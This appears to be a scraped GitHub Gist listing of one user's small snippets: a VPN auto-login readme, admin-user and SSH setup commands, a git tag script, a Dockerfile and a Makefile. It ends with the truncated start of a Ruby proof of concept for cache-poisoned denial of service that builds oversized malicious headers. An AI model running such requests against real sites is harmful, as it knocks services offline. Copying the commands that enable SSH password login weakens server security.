Skip to content

Instantly share code, notes, and snippets.

about

choose between already defined VPN connections and automatically logs in!

OS: tested on windows only

Pay attention that this script will focus the VPN dialog and type the password. If the focus is lost, the script can type and sent the password to active windows - so if you run the script -> don't click on other applications, use it with caution

prerequisites

  • you need pyautogui installed:
@paulbrodner
paulbrodner / README.md
Last active February 6, 2020 09:49
sample-readme

About

This project is ....

Structure

<generate with tree> and explain main folders

Prerequisites

# search for a library
repoquery -l easy-rsa
sudo useradd -m pbrodner
sudo passwd pbrodner
sudo usermod -aG admin pbrodner

sudo vim /etc/ssh/sshd_config 
# edit line 
"PasswordAuthentication" no to yes

sudo /etc/init.d/ssh restart
@paulbrodner
paulbrodner / tag.sh
Created November 28, 2019 14:55
ask-and-tag in git
#!/bin/bash -e
TAG=$1
if [ -z "$TAG" ]; then
echo "Tag argument is required."
echo "Example:"
echo " sh tag.sh 7.0.1-patch"
exit 1
fi
@paulbrodner
paulbrodner / Dockerfile
Last active November 28, 2019 10:06
k8s, buil-maven-run
FROM maven:3-jdk-11 as BUILD
COPY . /usr/src/app
RUN mvn --batch-mode -f /usr/src/app/pom.xml clean package
FROM openjdk:11-jre-slim
ENV PORT 42050
EXPOSE 42050
COPY --from=BUILD /usr/src/app/target /opt/target
WORKDIR /opt/target
@paulbrodner
paulbrodner / random-sleep.sh
Created November 6, 2019 09:38
random sleep between 1 and 20
sleep $[ ( $RANDOM % 20 ) + 1 ]s
@paulbrodner
paulbrodner / Makefile
Last active October 31, 2019 15:52
keycloack-makefile
VERSION := $(shell grep \<version pom.xml |awk '{ if(NR==2) print $$0 }' | awk -F '[><]' '{print $$3}')
TAG := local
CURRENT_DIR := $(shell pwd)
ifdef DEBUG
export MAVEN_OPTS:=-Dorg.slf4j.simpleLogger.defaultLogLevel=debug
endif
.PHONY: tree
#https://cpdos.org/
require 'net/http'
uri = URI("https://example.org/index.html")
req = Net::HTTP::Get.new(uri)
num = 200
i = 0
# Setting malicious and irrelevant headers fields for creating an oversized header
until i > num do